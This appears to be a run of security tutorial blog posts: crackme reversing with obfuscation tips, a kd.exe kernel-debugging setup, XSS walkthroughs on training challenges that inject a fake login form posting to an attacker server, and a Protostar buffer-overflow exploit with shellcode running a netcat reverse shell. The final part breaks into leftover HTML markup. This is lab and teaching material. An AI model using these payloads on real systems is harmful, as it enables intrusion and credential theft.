So now we know what that data is in the middle of the application, clearly it was done like this to confuse but we have reversed enough of the application now to figure out what this is.
With this is mind, we no longer need those 2 loops, or any of the code aimed at moving and decoding the data, we can simply put it in as is.
Let's review our rewritten application:
1 2 3 4 5 6 7 8 9101112
_start:movedi,0x25movesi,Onemovebp,not+0xfmovebx,0x44movecx,0xeemoveax,ecxmovedx,amOne:db0xedam:db"I am going!",0xanot:db"I am not going!",0xa
I have obviously removed most of the code because it simply isn't needed now, I've made sure that EBP still points to the end of the data and EDX to the beginning just incase there is some reason for this, but most of the code so far was devoted to decoding the data which is no longer needed.
Firstly there is an assignment to bh (the second 8 bits of the EBX register) but then, on line 5, the whole EBX register is cleared using xor so line 2 is dead code.
The call instruction on line 3 and the jmp instruction on line 8 seem to be used just to confuse the reverser, there is no reason for this, but bare in mind that this would have stuck 4 bytes on the stack, next to the decoded data, which hasn't been cleaned up (this could effect the application in some way).
The rest of this code just zero's out EBX, ECX and EDX.
Lines 1 and 3 fix the value of ESP after the call, jmp sequence earlier.
The rest xor's 0x5 with the byte at One and compares the result with 0x4. We can test this out in python, we know the byte at One is 0xed, so:
12345678
root@dev:~# pythonPython 2.7.3 (default, Mar 14 2014, 11:57:14) [GCC 4.7.2] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> a = "\xed">>> b = "\x05">>> hex(ord(a) ^ ord(b))'0xe8'
This isn't equal to 0x4 so the jump on line 8 will not be taken.
The next instruction lea ecx,[ebp-0xf] loads EBP - 16 into ECX, ECX will now point to somewhere in the middle of the data (it will actually point 16 characters from the end, which is the start of the string I am not going!).
We can probably guess at what this is going to do from here but let's finish the analysis.
0x10 is then loaded into EDX and then 2 unconditional jumps are taken:
123
jmpTwelveTwelve:jmpTen
The only reason for these jumps is to confuse the reverser, we can just ignore them.
The next 7 lines is a very important part of the application:
So lines 1-4 set EAX to 0x4, lines 5 and 6 set EBX to 0x1 and then the interrupt *0x80 is initiated.
Interrupt 0x80 is a special interrupt which initiates a system call, the system call number has to be stored in EAX, which is 0x4 at this moment in time.
This makes sense, the prototype for this syscall is:
1
ssize_twrite(intfd,constvoid*buf,size_tcount);
Each of the arguments go in EBX, ECX and EDX. So to write to stdout, EBX should be 1 which it is.
ECX should point to the string, which it currently points to I am not going!, and EDX should contain the number of characters to print which it does.
The last 4 instructions just run another syscall, exit, you can check this yourself if you wish:
1234
xoreax,eaxxorebx,ebxincalint0x80
Obviously we can now wrtie this in a much simpler way, but there is no need, we know exactly what this application does and how it does it.
Improving Obfuscation
As I mentioned earlier, the obfuscation could have been done better to make the reversing process harder. I actually purposefully made the obfuscation weaker than I could have to make the challenge easier.
Inserting more junk data inbetween some instructions could make the static disassembly significantly more difficult to read and understand.
I have to actually add a byte (0x89) at the end of the data section because the next few instructions were being obfuscated in a way that made them unreadable:
The disassembly shown here has had the last byte of the data removed and is the last line of the data section; and a few lines after.
As you can see the byte following the data section has been moved to the data section and as a result the next few instructions have been incorrectly disassembled.
This method can be implemented throughout the whole application, making most of the instructions disassemble incorrectly.
Constant unfolding could be improved here, for instance:
They both do the same thing but the second is a little harder to read, you could obviously keep extending this by implementing more and more complex algorithms to work out your required value.
This can also be applied to references to memory addresses, for instance, if you want to jump to a certain memory address, do some maths to work out the memory address before jumping there.
More advanced instructions could be used like imul, idiv, cmpsb, rol, stosb, rep, movsx, fadd, fcom... The list goes on...
The MMX and other unusual registers could have been taken advantage of.
Also, the key to decrypt the data could have been a command line argument or somehow retreived from outside of the application, this way it would have been extremely difficult decode the data.
Conclusion
There are sometimes easier ways to get a result other than reversing the whole application, maybe just understanding a few bits might be enough.
Although there are ways to make the reversers job more difficult, its never possible to make it impossible to reverse, providing the reverser is able to run the application (if the CPU can see the instructions, then so can the reverser).
A good knowledge of assembly is needed to do any type of indepth reverse engineering.
Further Reading
Reversing: Secrets of Reverse Engineering by Eldad Eilam
I have started the Windows kernel hacking section with a simple explaination of the setup and a quick analysis of the crackme, that we analysed here, using the kd.exe kernel debugger.
I chose to do this instead of any actual Windows kernel stuff because its a steep learning experience learning how to use KD so its probably best to look at something you have already seen.
Setting Up The Environment
For this post I will be using a total of 4 machines, 3 virtual machines using VMware Player (you probably could use Virtualbox for this also though) hosted on a reasonably powerful machine and a laptop.
You can however do all of this with just 1 physical machine, hosting 1 virtual machine and I will explain the differences in the setup afterwards but I'll first explain the setup I am using.
Here is a visual representation of the network:
So I have 3 virtual machines on my machine running VMware Player:
1 Kali Linux, 1 Windows XP Professional and 1 Windows 7 Home Edition. All 3 of these are 32bit, although it doesn't matter but to follow along you would probably want the debuggee (the Windows 7 machine in my setup) to be 32bit. In my 2 machine setup described below the host (and debugger) is a Windows 7 64bit machine.
The Kali machine has 2 network interfaces, 1 setup in Bridged mode (so that I can SSH directly to it):
And the other setup in Host-only mode (So that it has access to the other 2 machines):
The Windows XP machine has 1 network interface setup in Host-only mode:
And the same for the Windows 7 machine:
The Windows XP and Windows 7 machines are also connected via a virtual serial cable, this is for the debugger connection.
The Windows XP machine will be the client (or the debugger):
And the Windows 7 machine will be the server (or the debuggee):
The Windows 7 machine needs both Visual Studio Express 2013 for Windows Desktop and the Windows Driver Kit (WDK) installed on it. You can get them both here.
The Windows XP machine needs Microsoft Windows SDK for Windows 7 installed, which you can get here. To install this you need to install the full version of Microsoft .NET Framework 4, which you can get here (Bare in mind that you might need an internet connection while you install these so just change the network adaptor configuration to NAT and then once it is installed change it back to Host-only again).
If the debugger is a Windows 7 machine then you will need to install the same software as on the debuggee.
Once these are installed, its best to add the path to the kd.exe application to the PATH variable.
You do this by going in to the properties of My Computer and, on Windows 7 going to Advanced system settings->Environment Variables... or on Windows XP going to Advanced->Environment Variables... and scroll down the Path and click Edit.
The path on Windows 7 should be something like C:\Program Files\Windows Kits\8.1\Debuggers\x86 and on Windows XP C:\Program Files\Debugging Tools for Windows (x86).
For remote administration I've installed TightVNC on both of the Windows machines.
I set it up with access through a Kali machine so that I can setup SSH tunnels and get VNC access to the Windows machines without giving them access to the outside network.
After TightVNC is up and running on your Windows machines, you can setup the SSH tunnels like this (For this explaination we'll imagine that the Windows XP machine is on the VMware virutal network with an IP of 172.16.188.130, the Windows 7 machine is on 172.16.188.131 and that our Kali machine is also on this network):
Now if you VNC to 127.0.0.1 you will have access to the Windows XP machine and to 127.0.0.1:1 you will have access to the Windows 7 machine.
1 VM Setup
You can also setup this up with 2 machines, the VMware host (running Windows, which will be the debugger) and the VMware guest (also running Windows, which will be the debuggee).
The serial port configuration for the debuggee in VMware in this setup should look like this:
Notice the different file path and name for Windows, the other end should be set to The other end is an application and Yeild CPU on poll should be checked.
The only other thing that is different is the command you will use to launch KD on the debugger (we haven't got to that but it is shown below for my 4 machine setup), you should instead use kd -k com:port=\\.\pipe\com_1,pipe.
Using KD
On Windows 7 (the debuggee) you will need to tell it to lanuch the debugger on boot, for this you need to run an Administrator command prompt and:
The DEBUGPORT:2 option here is the port number of the COM port that you are going to use, for me it was COM2 hence the number 2.
Now we launch the kernel debugger on the Windows XP machine (this is the command that is different on the 2 machine setup):
1234567
C:\Documents and Settings\User>kd -k com:port=1,baud=115200Microsoft (R) Windows Debugger Version 6.12.0002.633 X86Copyright (c) Microsoft Corporation. All rights reserved.Opened \\.\com1Waiting to reconnect...
Again the port=1 option here is the COM port that you are going to be using, I will be using COM1 on this machine hence the 1.
Then reboot the Windows 7 machine and watch the KD terminal on the Windows XP machine:
1 2 3 4 5 6 7 8 910111213
Connected to Windows 7 7601 x86 compatible target at (Fri Sep 26 14:43:59.625 2014 (UTC + 1:00)), ptr64 FALSEKernel Debugger connection established.Symbol search path is: SRV*C:\websymbols*http://msdl.microsoft.com/download/symbolsExecutable search path is:Windows 7 Kernel Version 7601 (Service Pack 1) MP (1 procs) Free x86 compatibleProduct: WinNt, suite: TerminalServer SingleUserTS PersonalBuilt by: 7601.18409.x86fre.win7sp1_gdr.140303-2144Machine Name:Kernel base = 0x82814000 PsLoadedModuleList = 0x8295d5b0Debug session time: Sun Dec 29 22:42:59.976 1985 (UTC + 1:00)System Uptime: 0 days 0:02:14.490
Now run the crackme application on the debuggee (Windows 7):
Go back to the Windows XP machine and in the debugger terminal window press Control + C:
1 2 3 4 5 6 7 8 9101112131415161718
Break instruction exception - code 80000003 (first chance)******************************************************************************** ** You are seeing this message because you pressed either ** CTRL+C (if you run kd.exe) or, ** CTRL+BREAK (if you run WinDBG), ** on your debugger machine's keyboard. ** ** THIS IS NOT A BUG OR A SYSTEM CRASH ** ** If you did not intend to break into the debugger, press the "g" key, then ** press the "Enter" key now. This message might immediately reappear. If it ** does, press "g" and "Enter" again. ** ********************************************************************************nt!RtlpBreakWithStatusInstruction:8288e7b8 cc int 3kd>
Now we have broken into the kernel, this means that anything we do will be in the context of the kernel, we can see this in the debugger:
On line 1 I run the .process command without any parameters and it tells us the process we are currently in (844bdae8 is the EPROCESS number).
On line 3 I run the !process extension with 0 0 as its arguments, this lists all of the running processes and some details about them, as you can see from lines 5-7, EPROCESS 844bdae8 is the System process, or the kernel.
What we want to do is change the context to our crackme application, which you can see from lines 141-143 has the EPROCESS of 85abfd40:
1 2 3 4 5 6 7 8 91011
kd> .process /i /r /p 85abfd40You need to continue execution (press 'g' <enter>) for the contextto be switched. When the debugger breaks in again, you will be inthe new process context.kd> gBreak instruction exception - code 80000003 (first chance)nt!RtlpBreakWithStatusInstruction:828c97b8 cc int 3kd> .processImplicit process is now 85abfd40kd>
On line 1 I use the .process command to change the context to our crackme application but before the context can be changed execution needs to be resumed (which is done on line 5).
Now we can set a breakpoint anywhere in the crackme's virtual memory address space, we want to break with them calls to GetDlgItemTextA that were responsible for getting the text in the textboxes of the application (If you are unsure about what I am talking about, please go back and review the previous post):
1234
kd> bp USER32!GetDlgItemTextAkd> bl 0 e 76213d14 0001 (0001) user32!GetDlgItemTextAkd>
Now that the breakpoint is set we can resume execution, wait for it to be hit and inspect the memory.
Remember that the prototype for GetDlgItemText is:
kd> gBreakpoint 0 hituser32!GetDlgItemTextA:001b:76213d14 8bff mov edi,edikd> dd esp L40012fb6c 0040127f 0002014e 000003e9 0012fc40kd> da 12fc400012fc40 "Enter your name..."kd>
On line 5 I use the dd command to display 4 double words on the top of the stack. The first dword will be the return address (as you will see in a minute), then we have the first 3 arguments.
The 3rd argument is the address where the buffer for the string is, on line 7 I use the da command to display the ascii value at that address.
Keep in mind that this is the start of the function so the value hasn't been fetched yet, we can see the returned value by tracing through until we are in the calling function using the ug command and checking again:
As you can see the value is the same (because we haven't changed the text in the textbox), you can also see the address which it returned back to after executing GetDlgItemTextA was 0040127f, which was the top value on the stack.
Lastly let's resume and make sure it does the same with the other textbox:
1 2 3 4 5 6 7 8 9101112
kd> gBreakpoint 0 hituser32!GetDlgItemTextA:001b:76213d14 8bff mov edi,edikd> dd esp L40012fb6c 00401291 0002014e 000003ea 0012fc00kd> da 12fc000012fc00 "Enter your serial..."kd> gu001b:00401291 8d44240c lea eax,[esp+0Ch]kd> da 12fc000012fc00 "Enter your serial..."
Conclusion
This was only a simple tutorial to get the environment set up and get a basic grasp of kd.exe and some of its commands.
This was by no means an exhaustive list of commands and extensions, the debugger comes with many and has very good documentation.
Hopefully you now have a better understanding of how to debug using kd.exe and you now have the environment to do it in.
Further Reading
The Debugging and Automation chapter in Practical Reverse Engineering by Bruce Dang, Alexandre Gazet and Elias Bachaalany.
Also the kd.exe documentation that ships with the WDK or SDK.
Here I will demonstrate 3 XSS attacks against 3 different challenges on Pentester Academy.
Pentester Academy has a large number of courses and challenges devoted to learning penetration testing and improving your skills.
My aim here will be first to demonstrate basic reflected XSS and then show how 2 different filters can be beaten.
XSS is the ability to execute JavaScript inside the browser of anyone who visits a specific webpage usually by injecting a combination of HTML and JavaScript.
This is the actual challenge page, if you browse to it, you should see this:
What I'm going to do is replace the whole form with one of my own which submit's to a server of my choosing and has an extra field but, otherwise, looks exactly the same as the real 1.
First, let's have a look at the vulnerability. First we need to see what happens when we submit a form:
I submitted the form with foo in the username field and bar in the password field. This is the full URL that I end up with:
As you can see, this was just submitted to the same page as a GET request. As this is the case, we can just manipulate this URL to test the fields, if the form had submitted a POST request, we'd have to keep submitting the form or use something like Burp Suite's Repeater feature.
You can see that the value of the email field has been reflected in the username input box. This is where we can test for a reflected XSS/HTMLi vulnerability.
Before that, let's check the source of this page to see in what context on the page our input has landed, right click on the page and click something like View Source:
So we've landed inside the value attribute of an input tag.
Now let's check if we can use certain characters, send the following URL:
It looks like theres little to no filtering here, we've managed to close the input tag with the greater than (>) character that we sent, but let's look at the source:
So as suspected, there has been no filtering, this makes our job much easier.
Looking at the source code of the vulnerable form, we can figure out any required prefix and suffix:
All we should need to do here is break out of the value attribute and the input tag, to do this we'll need to put a double quote (") (because the value attribute was opened with a ") and >, respectively, at the start of our input.
We should now test for the classic alert box XSS payload with our prefix of "> by sending the following URL:
It worked, I put the alert statement inside script tags, this is to tell the browser that this is JavaScript to be executed.
If you close the alert box and view the source you should see this:
Using this we can run any JavaScript we want, we just have to replace alert('xss'), and as I will demonstrate this allows us full control over the page that is displayed.
The first thing we need to do is remove the current form so that we can put our own form in its place.
The best way to build your JavaScript payload is to use Firebug, it allows you to write JavaScript dynamically while showing you what methods and attributes each object has avaliable.
If you open firebug, go to the Console tab and type document. if will show you a list of its methods and attributes.
If you look through the whole source of the webpage you will see that there is only 1 form, and getElementsByTagName returns an array containing all of the form objects so to access the actual form we need to run document.getElementByTagName("form")[0] to access the first element of the array:
Each object has a remove method, we can use this to remove the original form.
Also, in JavaScript, all instructions can be put on a single line but they should be seperated by a semi colon (;).
Let's try using the XSS to first remove the form using the method described and then trigger and alert box as we did before, for this we will use the following URL:
So that didn't work, let's look at the source and see what happened:
So it appears that our payload was cut off from the ;, we can solve this 2 ways, the first is easiest and most well known, replace the ; with a URL encoded version (%3b):
From this point on I'll use ,'s to seperate the instructions when sent to the server but in my examples while building the JavaScript payload I'll use ;'s.
Here is a full version of the Javascript that will build the form that we want and ensure it has all of the necessary attributes to make it look athentic:
All of the information here, especially the class names, I got from the original form. I've created a new form field on line 7 and set its settings on lines 10, 17, 18 and 19.
On line 30, I set the form action to http://localhost:9000/, this means when the form is submitted it will send the request to localhost on port 9000, this could be set to any value/server under the attackers control.
The completed form is contained inside the form variable.
The last thing to do is place the form at the right place on the page. If you look through the source, the form is placed inside a div tag with the class container, before a div tag with a class well.
We can find both of these using the getElementsByClassName method and we can insert it using the insertBefore, here is the code for this:
Now we have all of the code we want to run, we just need to shrink the code as much as possible, we do this because in any exploit its best to keep the payload as small as possible so there is less chance of it being noticed.
Firstly all of the spaces need to be removed, in most situations spaces only make the code easier to read, next we can shrink all of the variable names down to 1 character, let's just take the first character of each as their name, unless use strict; is used on the page (which it isn't) there is no need to declare the variables with the var keyword and lastly we use the document object repeatedly, we can create a variable with a 1 character name that point to it and use the variable instead (d=document;).
After applying the rules above, moving everything to 1 line and changing the ;'s with ,'s you get the following code:
So that is challenge 16 completed for what we wanted to achieve and everything is transparent to the end user, you just need to send the malicious link to the target.
Challenge 16 Secure
The next challenge is here, some filtering has been added to mitigate the previous exploit.
First let's look at the challenge:
This looks exactly the same as the last challenge, so let's use the application and see if that is the same:
So far everything looks the same, even the URL we are sent to:
So < and > has been encoded but " hasn't, looks like we'll have to use an event handler to run our JavaScript this time.
Ideally we want the event handler to run without any interaction, a lot of the event handlers require some interaction.
We are landing inside an input tag and 1 event we can hook is the onfocus event, but we need to make sure that the input box is in focus when the page loads, for this we can use the autofocus attribute.
So we now need a new prefix for our payload, we need to close the value attribute, with a ", we then need a space and the autofocus keyword, then a space and lastly onfocus=", so we end up with:
" autofocus onfocus="
After this there is no need to put any script tags, we can't anyway because < and > gets encoded.
Let's try executing an alert box to test if XSS works here, we need to send the following URL:
So we can now run JavaScript on this page, we will recreate the exact same attack as last time, the only change we need is to replace every " with a single quote ('), then we end up with this as our JavaScript:
Sending this in place of alert('xss') in our previous request gives us the following:
Looking at the source, we can see how our payload got interpreted:
Now we are in the same position as we were when we'd got our custom form on the other page.
Last Challenge: DOM XSS
This is the last challenge I'd like to demonstrate.
Even though this challenge is very different I want to create the same exploit where I create a custom form and put it on the page in a similar position as the previous examples.
Its quite a bit more difficult to exploit but let's get to it and have a look at how it works:
Its clearly doing some maths here based on the value of the statement argument given in the address bar, let's look at the source:
So we are landing inside script tags and our input is being used as an argument to eval.
This time, however, we can't see how our payload is being interpreted directly.
We should be able to run any JavaScript inside here though, let's try a normal alert box by sending the following URL:
That didn't work, let's open Firebug, open the console tab and try again (this should show us any error's that happened while it was executing any JavaScript):
So the problem is that the ' are URL encoded... This is because, as you can see from the source code, it is accessing the argument using the document.URL property where certain characters are URL encoded so we will be unable to use any types of quotes (' or ").
There are probably a few ways to beat this problem, an obvious 1 is to avoid using strings but we are unable to do that here.
The way I like to get around this is to use String objects and using forward slashes (/) at the beginning and end to imply it is a regular expression.
Let's try to execute an alert using this method, we need to send the following URL:
So it worked but we have / surrounding the string, we can use the substring method and the length property to remove these, we need to send the following URL:
We will be using the String and substring methods a lot, so it would be best if we create aliases for these to shorten our payload, we can create a function for the substring section like this:
So it works, lastly all we need to do is remove the string Mathemagic and the div tag that contains the result.
Looking at the source we can see that the Mathemagic string is contained in a h2 tag and there are no other h2 tags on the page, so we can find this using the getElementsByTagName method.
The result is contained inside a div tag which has the id value set to result, so we can find this using the getElementById method.
Both of these we can remove using the remove method.
We are now ready to write our payload, here is the "beutified" version of the payload, remember that this all goes on 1 line and with , seperating the instructions and not ;:
After sending this URL you should see the following:
PWNED!!! :-)
Conclusion
For the last to exploits, the redirection URL of the python server would have to be changed.
XSS exploits can vary greatly, but as long as you can get JavaScript to run you should be able to get full control over the page.
There are various methods for bypassing different filters and I've only mentioned a couple here but the methods that you use will highly depend on the filter that you are facing.
A lot of trial and error is needed to determine how best to bypass the filter than is in place.
In each of these examples, to take advantage of the exploit, you need to send the URL that we have created to the victim. A URL containing all of this information might look very strange to the victim so it might be best to URL encode the whole payload, you can do this in BurpSuite's Decoder tab or on a website like this, its worth noting though that Burp will URL encode all of the text (incuding any alphanumeric characters), that website (like most) will only encode certain characters.
Further Reading
OWASP is the authority on web security so their website contains any relavent information regarding this.
So far, all of our exploits have included shellcode, on most (if not all) modern systems it isn't possible to just run shellcode like this because of NX.
NX disallows running code in certain memory segments, primarily memory segments that contain variable data, like the stack and heap.
This will be slightly different to my previous posts as I will not be hacking an application that I wrote but instead taking on 2 challenges from the protostar section of exploit exercises.
The challenges that we will look at here are stack6 and stack7.
While these challenges have both NX and ASLR disabled they both implement their own protection which disables the straight running of shellcode.
Stack6: The App
So if you look at the webpage for stack6, it actually gives you the source code:
The buffer overflow is on line 13, the application then gets the function return address on line 15 and checks it on line 17.
If the return address begins with bf the application exits, stack addresses normally begin with bf so you cannot just overwrite it with an address on the stack.
One other thing to notice here is that the vulnerable line is using the gets function, this function will only stop once it reaches a newline (\n) or end of file (EOF) character so we do not need to avoid null (\0) characters.
Stack6: The Easy Way
While I've written this post to demonstrate Ret2Libc and ROP we can get our shellcode to run on these 2 challenges using the exact same method which I'll explain quickly here.
So our buffer is 64 bytes long, we have the local variable ret which is 4 bytes, then we have the saved EBP from main's stack frame and finally the return address, its worth noting that the stack has to be 16 byte aligned so 8 will need to be added before you get to the return address. So we need to write 64+4+4+8 = 80 bytes before we overwrite the return address and hijack EIP.
Lets test this:
1 2 3 4 5 6 7 8 9101112131415161718192021222324
$ bashuser@protostar:~$ cd /opt/protostar/bin/user@protostar:/opt/protostar/bin$ python -c 'print "A"*80' > /tmp/tuser@protostar:/opt/protostar/bin$ python -c 'print "A"*84' > /tmp/t2user@protostar:/opt/protostar/bin$ gdb -q ./stack6Reading symbols from /opt/protostar/bin/stack6...done.(gdb)r < /tmp/tStarting program: /opt/protostar/bin/stack6 < /tmp/tinput path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAinput path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA� �Program received signal SIGSEGV, Segmentation fault.0x08048507 in main (argc=Cannot access memory at address 0x41414149) at stack6/stack6.c:3131 stack6/stack6.c: No such file or directory. in stack6/stack6.c(gdb)r < /tmp/t2The program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /opt/protostar/bin/stack6 < /tmp/t2input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAProgram received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()
So we were correct, we can now test what happens if we write an address beginning with bf:
As you can see we've hit the printf inside the if statement and exited without seg faulting.
If there was a jmp esp or ff e4 in the application code we could use the same method we used in the beating ASLR post but that isn't the case here.
We can still run our shellcode though using a slightly more complex method, the application is only checking the return address of the current function (note the argument to the __builtin_return_address function call), so we just need to make sure that this address doesn't start with bf.
We'll do this by using 1 ROP "gadget", let's first find the address of our gadget:
All we're looking for here is a ret instruction, there are a few, we'll use the 1 on line 258, the address of this is 80485a9 so this will be our return address.
After the return address we insert some junk data (4 bytes) and then we will put the address of our shellcode.
First let's find the address that our shellcode will be at, this needs to be done in 2 terminals:
root@protostar:/# ps ax | grep stack6 2221 pts/0 S+ 0:00 ./stack6 2268 pts/1 S+ 0:00 grep stack6root@protostar:/# gdb -q -p 2221Attaching to process 2221Reading symbols from /opt/protostar/bin/stack6...done.Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.(no debugging symbols found)...done.Loaded symbols for /lib/libc.so.6Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.(no debugging symbols found)...done.Loaded symbols for /lib/ld-linux.so.20xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:8282 ../sysdeps/unix/syscall-template.S: No such file or directory. in ../sysdeps/unix/syscall-template.S(gdb)set disassembly-flavor intelCurrent language: autoThe current source language is "auto; currently asm".(gdb)disassemble getpathDump of assembler code for function getpath:0x08048484 <getpath+0>: push ebp0x08048485 <getpath+1>: mov ebp,esp0x08048487 <getpath+3>: sub esp,0x680x0804848a <getpath+6>: mov eax,0x80485d00x0804848f <getpath+11>: mov DWORD PTR [esp],eax0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>0x08048497 <getpath+19>: mov eax,ds:0x80497200x0804849c <getpath+24>: mov DWORD PTR [esp],eax0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>0x080484a4 <getpath+32>: lea eax,[ebp-0x4c]0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax0x080484aa <getpath+38>: call 0x8048380 <gets@plt>0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4]0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]0x080484b8 <getpath+52>: and eax,0xbf0000000x080484bd <getpath+57>: cmp eax,0xbf0000000x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>0x080484c4 <getpath+64>: mov eax,0x80485e40x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x10x080484df <getpath+91>: call 0x80483a0 <_exit@plt>0x080484e4 <getpath+96>: mov eax,0x80485f00x080484e9 <getpath+101>: lea edx,[ebp-0x4c]0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>0x080484f8 <getpath+116>: leave 0x080484f9 <getpath+117>: ret End of assembler dump.(gdb)break *0x080484afBreakpoint 1 at 0x80484af: file stack6/stack6.c, line 15.(gdb)cContinuing.
1
AAAAAAAAAAAA
1 2 3 4 5 6 7 8 91011
Breakpoint 1, getpath () at stack6/stack6.c:1515 stack6/stack6.c: No such file or directory. in stack6/stack6.cCurrent language: autoThe current source language is "auto; currently c".(gdb)x/20xw $esp0xbffff770: 0xbffff78c 0x00000000 0xb7fe1b28 0x000000010xbffff780: 0x00000000 0x00000001 0xb7fff8f8 0x414141410xbffff790: 0x41414141 0x41414141 0xbffff700 0xb7eada750xbffff7a0: 0xb7fd7ff4 0x080496ec 0xbffff7b8 0x0804835c0xbffff7b0: 0xb7ff1040 0x080496ec 0xbffff7e8 0x08048539
This means our payload will start at 0xbffff780+0xc = 0xbffff78c.
For this challenge I will put the shellcode at the end of the payload, we know the starting address of our payload and how many bytes until the shellcode so our shellcode will be at 0xbffff78c+0x58 = 0xbffff7e4.
I first tried with a normal shellcode that I had written but it didn't work:
12345
user@protostar:/opt/protostar/bin$ python -c 'print "A"*80 + "\xa9\x85\x04\x08" + "\xe4\xf7\xff\xbf" + "\xeb\x25\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\xb0\x0b\x31\xd2\xb2\x09\x42\x89\x1c\x13\x31\xc9\x89\x4b\x0e\x8d\x0c\x13\x8d\x53\x0e\xcd\x80\xe8\xd6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"'| ./stack6input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA�������%1�̀��[�C � 1Ҳ B�1ɉK�/span/span
span class="code-line"span class="go" �S̀�����/bin/bashABBBBCCCC/span/span
span class="code-line"span class="gp"user@protostar:/opt/protostar/bin$/span/span
span class="code-line"/code/pre/div
/td/tr/table
pSo it launched... Don't know what happened here, after some investigation I decided that it did actually run code/bin/bash/code but exited straight away./p
pAfter some thinking I decide that I'm going to get codeexecve/code to run codebash/code and that to run codenc/code to execute a shell, there are plenty of ways to get a shell in this situation, creating a script and running that, running codenc/code directly..., this was just the first 1 that come to mind for me./p
pcodenc/code or a href="http://netcat.sourceforge.net/" target="_blank"netcat/a is a handy networking tool that can be used for a number of things, here we will use it to execute a shell./p
pSo I rewrote the shellcode, started codenc/code listening on port 9000 in 1 terminal:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"user@protostar:~$ /spannc -l -p span class="m"9000/span/span
span class="code-line"/code/pre/div
/td/tr/table
pAnd then launched the exploit with the new shellcode:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"user@protostar:/opt/protostar/bin$ /spanpython -c span class="s1"#39;print quot;Aquot;*80 + quot;\xa9\x85\x04\x08quot; + quot;\xe4\xf7\xff\xbfquot; + quot;\xeb\x37\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\x88\x43\x0c\x88\x43\x2b\xb0\x0b\x31\xd2\xb2\x09\x42\x89\x5b\x2c\x8d\x0c\x13\x89\x4b\x30\x8d\x4b\x0d\x89\x4b\x34\x31\xc9\x89\x4b\x38\x8d\x4b\x2c\x8d\x53\x34\xcd\x80\xe8\xc4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x2d\x63\x42\x6e\x63\x20\x2d\x65\x20\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x20\x39\x30\x30\x30\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46\x47\x47\x47\x47quot;#39;/span span class="p"|/span ./stack6/span
span class="code-line"span class="go"input path please: got path 1�̀��[�C �C/span/span
span class="code-line"span class="go" �C+�/span/span
span class="code-line"span class="go" 1ҲB�[,�/span/span
span class="code-line"span class="go"�K41ɉK8�K,�S4̀�����/bin/bashA-cBnc -e /bin/bash 127.0.0.1 9000CDDDDEEEEFFFFGGGG/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
